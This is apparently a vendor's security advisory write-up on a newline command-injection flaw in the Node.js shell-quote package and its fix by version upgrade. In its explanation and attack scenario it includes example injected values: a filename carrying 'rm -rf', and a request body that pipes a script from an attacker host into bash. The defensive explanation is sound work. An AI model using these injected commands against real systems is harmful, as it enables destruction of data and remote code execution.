How Command Injection via Unescaped Line Terminators Happens in Node.js and How to Fix It
Vulnerability at a Glance
| Field | Detail |
|---|---|
| Vulnerability | Command Injection via Unescaped Line Terminators |
| CWE | CWE-78 — OS Command Injection |
| Language | JavaScript / Node.js |
| Risk | Arbitrary code execution |
| Root cause | shell-quote 1.8.3 does not escape\n/\rcharacters |
| Fix | Upgrade shell-quote to 1.8.4 |
Direct Answer: CVE-2026-9277 is a critical command injection flaw (CWE-78) in the Node.js
shell-quotepackage ≤1.8.3. The library fails to escape line terminator characters (\n,\r) when quoting shell arguments, letting an attacker break out of a quoted string and execute arbitrary shell commands. The fix is to upgradeshell-quoteto 1.8.4 in bothpackage.jsonandpackage-lock.json, which correctly escapes these characters before any shell sees them.
Introduction
The package-lock.json file in this React/Docusaurus web application locked shell-quote at version 1.8.3—a version that Trivy's software composition analysis (SCA) scanner flagged as critically vulnerable under CVE-2026-9277. The specific flaw: when shell-quote constructs a quoted shell argument string, it escapes the obvious suspects (single quotes, double quotes, backticks) but silently passes line terminator characters—\n (newline) and \r (carriage return)—through unmodified.
In most Unix shells and in Node.js's child_process module, a newline character is functionally equivalent to pressing Enter. It terminates the current command and begins a new one. So if an attacker can get a \n into a value that eventually passes through shell-quote, they can inject a second, completely separate shell command—regardless of how carefully the rest of the input was quoted.
Because this dependency was listed under dependencies (not devDependencies) in package.json, it was present in the production build. Any code path in this application that accepted user-influenced input and passed it through shell-quote was a live attack surface.
The Vulnerability Explained
What shell-quote Does
shell-quote is a widely-used Node.js utility that takes an array of command arguments and returns a properly shell-escaped string safe for passing to a shell. The classic use case looks like this:
const quote = require('shell-quote').quote;
const userInput = req.body.filename;
// Intended to safely wrap user input in a shell command
const cmd = `cat ${quote([userInput])}`;
child_process.exec(cmd, callback);
The library is supposed to make userInput safe by quoting it. For most characters, it does. But in version 1.8.3, it failed to handle line terminators.
The Specific Flaw: Unescaped \n and \r
Consider what happens when an attacker supplies a filename containing a newline:
const userInput = "file.txt\nrm -rf /tmp/important";
const quoted = quote([userInput]);
// shell-quote 1.8.3 output: 'file.txt
// rm -rf /tmp/important'
The shell sees this as two separate commands:
1. cat 'file.txt — a malformed but partially executed command
2. rm -rf /tmp/important' — the injected command (the trailing quote is ignored or causes a benign parse error, but the destructive command already ran)
In more targeted attacks, the injected payload can be crafted to avoid the trailing quote issue entirely:
const userInput = "file.txt\nwhoami > /tmp/pwned\n";
// Results in three shell lines, with the middle one executing cleanly
The vulnerable version in package-lock.json was pinned with this integrity hash:
"integrity": "sha512-ObmnIF4hXNg1BqhnHmgbDETF8dLPCggZWBjkQfhZpbszZnYur5DUljTcCHii5LC3J5E0yeO/1LIMyH+UvHQgyw=="
This hash uniquely identifies the vulnerable 1.8.3 tarball. Any environment that installed dependencies from this lockfile would receive the vulnerable version.
Why This Is Rated Critical
The CVSS rating is critical because:
- No authentication barrier is implied. If the application exposes any endpoint that takes user input and feeds it into a shell command via
shell-quote, exploitation requires only an HTTP request. - The impact is full code execution. The attacker's injected command runs with the same OS privileges as the Node.js process—often enough to exfiltrate data, establish persistence, or pivot to internal services.
- The attack is web-facing. The PR description explicitly identifies this as a web application, meaning the attack surface is exposed to the internet.
- Exploitation is straightforward. Line terminator injection is a well-understood technique; automated scanners and exploit frameworks already know to try it.
Attack Scenario for This Application
This is a Docusaurus-based application with React on the frontend. If any server-side route (e.g., a build script, a search indexer, a file preview endpoint) accepts a filename or query parameter and passes it through shell-quote before executing a shell command, an attacker can:
- Send a POST request with a body like
{ "query": "search term\ncurl https://attacker.com/shell.sh | bash\n" } - The application calls
quote([query])using shell-quote 1.8.3 - The newline passes through unescaped
child_process.exec()receives a multi-line string and executes the injected command
The Fix
The fix is precise and minimal: upgrade shell-quote from 1.8.3 to 1.8.4. Two files were changed.
package.json — Adding the Explicit Dependency
- "roughjs": "^4.6.6"
+ "roughjs": "^4.6.6",
+ "shell-quote": "^1.8.4"
Before this change, shell-quote was a transitive dependency—pulled in by another package but not explicitly declared. This is a subtle but important security gap: transitive dependencies can be silently upgraded or downgraded without a developer noticing. By adding shell-quote: "^1.8.4" as an explicit direct dependency, the project now enforces a minimum safe version regardless of what upstream packages request.
package-lock.json — Pinning the Safe Version
- "version": "1.8.3",
- "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.8.3.tgz",
- "integrity": "sha512-ObmnIF4hXNg1BqhnHmgbDETF8dLPCggZWBjkQfhZpbszZnYur5DUljTcCHii5LC3J5E0yeO/1LIMyH+UvHQgyw==",
+ "version": "1.8.4",
+ "resolved": "https://registry.npmjs.org/shell-quote/-/shell-quote-1.8.4.tgz",
+ "integrity": "sha512-VsC6n6vz1ihYYyZZwX7YZSF5l5x36ca17OC+a69h94YqB7X6XLwf+5MOgynYir2SLFUbl8gIYvBo8K8RoNQ6bQ==",
The lockfile change does three things simultaneously:
1. Updates the resolved version from 1.8.3 to 1.8.4
2. Updates the integrity hash to the SHA-512 of the new tarball — any tampered or incorrect package will fail the integrity check at install time
3. Ensures reproducibility — every developer, CI pipeline, and production deployment will now install exactly 1.8.4
What Changed Inside shell-quote 1.8.4
The upstream fix in shell-quote 1.8.4 adds explicit escaping for \n and \r characters during the quoting process. Where 1.8.3 would pass these characters through a quoted string unmodified, 1.8.4 escapes them (typically as $'\n' or equivalent ANSI-C quoting syntax, or by replacing them with safe representations) so that the shell treats them as literal character data within the argument rather than as command delimiters.
The behavioral change is invisible for legitimate use cases—filenames and arguments that don't contain line terminators behave identically. Only malicious or malformed inputs containing \n or \r are now handled differently, and they are handled safely.
Prevention & Best Practices
1. Prefer Argument Arrays Over Shell Strings
The single most effective prevention is to avoid shell string construction entirely. Node.js's child_process.execFile() and child_process.spawn() accept argument arrays that are passed directly to the OS without shell interpretation:
// Vulnerable pattern — avoid this
const { exec } = require('child_process');
exec(`cat ${quote([userInput])}`, callback);
// Safe pattern — use this instead
const { execFile } = require('child_process');
execFile('cat', [userInput], callback);
When you use execFile or spawn with an array, there is no shell involved, so shell injection—including line terminator injection—is structurally impossible.
2. Keep Dependencies Explicit and Pinned
Transitive dependencies are invisible attack surfaces. If you rely on a library that uses shell-quote internally, you won't see it in your package.json and you won't think to audit it. Adding security-sensitive transitive dependencies as explicit direct dependencies (as this fix does) gives you direct control over their versions.
3. Run SCA Scanners in CI
Trivy detected this vulnerability in package-lock.json before it was exploited. Integrate SCA scanning into your CI pipeline so that every pull request and every dependency update is automatically checked:
# Example GitHub Actions step
- name: Run Trivy vulnerability scanner
uses: aquasecurity/trivy-action@master
with:
scan-type: 'fs'
scan-ref: '.'
severity: 'CRITICAL,HIGH'
exit-code: '1'
4. Enable npm audit as a Pre-commit Gate
npm audit will catch known vulnerabilities in your dependency tree:
npm audit --audit-level=critical
Add this to your pre-commit hooks or CI pipeline to fail builds on critical issues.
5. Understand the OWASP and CWE Context
This vulnerability maps to:
- OWASP A03:2021 — Injection: Shell command injection is one of the oldest and most dangerous injection classes
- CWE-78: Improper Neutralization of Special Elements used in an OS Command
- CWE-116: Improper Encoding or Escaping of Output (the root cause—shell-quote failed to encode line terminators)
Understanding these classifications helps you recognize the same pattern in other contexts: SQL injection, LDAP injection, and log injection all share the same root cause of insufficient output encoding.
Key Takeaways
shell-quote1.8.3 is not safe for user-controlled input. The specific gap—unescaped\nand\r—is exactly the kind of edge case that looks safe in code review but is exploitable in practice. Only 1.8.4+ should be used.- Transitive dependencies need explicit version control. This fix promotes
shell-quotefrom an implicit transitive dependency to an explicit one inpackage.json, giving the project direct control over which version is installed. - The integrity hash in
package-lock.jsonis a security control. The old hashsha512-ObmnIF4h...uniquely identified the vulnerable tarball; the new hashsha512-VsC6n6vz...uniquely identifies the safe one. Supply chain attacks that swap the tarball will fail the integrity check. - Line terminators are shell command delimiters. Any library that constructs shell strings must escape
\nand\r, not just quotes and special characters. This is easy to miss and easy to exploit. - For this web application, the attack surface is internet-facing. A critical dependency vulnerability in production code of a web app is not a theoretical risk—it is an exploitable condition that any automated scanner or motivated attacker can reach.
How Orbis AppSec Detected This
- Source: User-influenced input entering the application through HTTP request parameters or body fields in the web application's server-side routes
- Sink: Any call to
shell-quote'squote()function followed by passing the result tochild_process.exec()or equivalent shell-executing APIs - Missing control:
shell-quote1.8.3 lacked escaping for line terminator characters (\n,\r), meaning these characters passed through the quoting layer unmodified and were interpreted as command delimiters by the shell - CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
- Fix: Upgraded
shell-quotefrom 1.8.3 to 1.8.4 in bothpackage.jsonandpackage-lock.json, which adds proper escaping for line terminators in the quoting logic
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
CVE-2026-9277 is a sharp reminder that security vulnerabilities hide in the details. shell-quote was doing most of its job correctly—it escaped quotes, backticks, and shell metacharacters—but it missed line terminators, and that gap was enough to enable arbitrary code execution. The fix is a one-version bump, but the lesson is broader: shell argument quoting is harder than it looks, and the only safe long-term strategy is to avoid shell string construction with user input entirely.
For this application, the upgrade from shell-quote 1.8.3 to 1.8.4 closes the vulnerability with zero behavioral change for legitimate inputs. The updated integrity hash in package-lock.json ensures the fix is reproducible and tamper-evident across every environment. And the addition of shell-quote as an explicit dependency in package.json means the project now owns this security boundary directly, rather than inheriting it silently from a transitive chain.
Keep your dependencies explicit, your lockfiles committed, and your SCA scanners running on every build.
References
- CWE-78: Improper Neutralization of Special Elements used in an OS Command
- CWE-116: Improper Encoding or Escaping of Output
- OWASP Command Injection Defense Cheat Sheet
- OWASP Injection — A03:2021
- Node.js child_process.execFile() documentation (safe alternative to exec)
- shell-quote on npm
- Semgrep rules for command injection
- fix: upgrade shell-quote to 1.8.4 (CVE-2026-9277)